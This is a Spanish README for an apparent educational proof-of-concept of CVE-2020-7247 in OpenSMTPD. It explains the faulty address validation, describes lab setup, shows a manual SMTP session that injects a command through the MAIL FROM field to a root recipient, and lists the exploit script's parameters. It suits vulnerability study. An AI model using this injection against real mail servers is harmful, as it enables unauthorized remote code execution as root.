
Prueba de concepto para CVE-2020-7247 con fines educativos.
Este repositorio debe servir como base para configurar y explotar CVE-2020-7247 en un entorno controlado y privado. Todo el código y la configuración publicados están destinados únicamente a probar esta vulnerabilidad y no a abusar de ella contra sistemas que no son tuyos o para los que no tienes permiso de explotación. El propietario de este repositorio no es responsable del uso que terceros hagan de estas herramientas.
El problema principal del código es que la validación del correo no funciona. Permite que se pasen caracteres potencialmente peligrosos en los campos MAIL FROM y RCPT TO.
Si la parte local de la dirección de correo no es válida, se trata como válida porque el código le añade la parte del dominio y la interpreta como válida después. Esto permite al atacante ejecutar código arbitrario.
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
El código debería tener el siguiente aspecto para ser seguro:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Opensmtpd procede a ejecutar un llamado comando MDA. El comando se utiliza para la entrega de correo. Tiene el siguiente aspecto:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
Aquí ya puedes ver el problema. mbox.from es la dirección del remitente, que está bajo el control total del atacante. \
Sin embargo, el atacante solo puede usar caracteres en el shellcode que no estén en la siguiente lista: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
Divulgado completamente aquí
Eres libre de elegir la distribución en la que ejecutar el servidor. Lo probé en Ubuntu 18.04 LTS.
Ejecuta chmod +x setup.sh para hacer ejecutable el script de configuración. Puedes usarlo con un usuario normal, ya que solo incluí permisos de sudo en el script donde son necesarios. (Por supuesto, tu usuario debe ser sudoer)
El script de configuración instalará todas las dependencias necesarias para smtpd y copiará la configuración a sus ubicaciones correspondientes.
Se instalará Opensmtpd 6.6.1. \
Si necesitas ejecutar openstmpd manualmente o el script tiene algún error, ejecuta lo siguiente:
cd /usr/local/sbin
sudo smtpd
OR
sudo smtpd -dv for debugging output
La configuración de este repositorio está destinada únicamente a pruebas locales. No incluye dominios externos ni configuración avanzada.
aliases y smtpd.conf son los dos archivos de configuración necesarios para la instalación de este servidor. Eres libre de cambiarlos como quieras. Ten en cuenta que la configuración estaba pensada para mi servidor de pruebas. Mi nombre de servidor era ase (directiva @ase en smtpd.conf) y mi nombre de usuario era ase (configuración de usuario en aliases).
Tendrás que reemplazar <YOUR IP> en smtpd.conf por la IP de tu servidor. De lo contrario, smtpd no se iniciará.
En caso de que te encuentres con direcciones IP y puertos en este entorno, aquí tienes algunos datos clave sobre el entorno que usé para que puedas cambiarlos en consecuencia:
asease192.168.1.4025192.168.1.311337El exploit proporcionado usa Python 3.x. Utiliza la dependencia pwn. Para usar este exploit necesitas instalar pwntools con pip3 install pwntools.
Básicamente, el exploit explota la vulnerabilidad automáticamente sin requerir interacción del usuario. Sin embargo, el exploit se puede realizar manualmente sin el script de Python.
Como se mencionó antes, el exploit se puede ejecutar sin el script de Python proporcionado. Tendrás que seguir el proceso SMTP manualmente. Esto se puede hacer usando netcat o telnet.
Aquí tienes un ejemplo de cómo se puede hacer manualmente:
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
También puedes usar el script proporcionado. Los siguientes parámetros son posibles:
--targetHost especifica el objetivo y es obligatorio.--targetPort especifica el puerto del objetivo y es obligatorio.--customCommand especifica el comando a inyectar.shellcode.py sirve como ejemplo de cómo podría ser un shellcode remoto. \
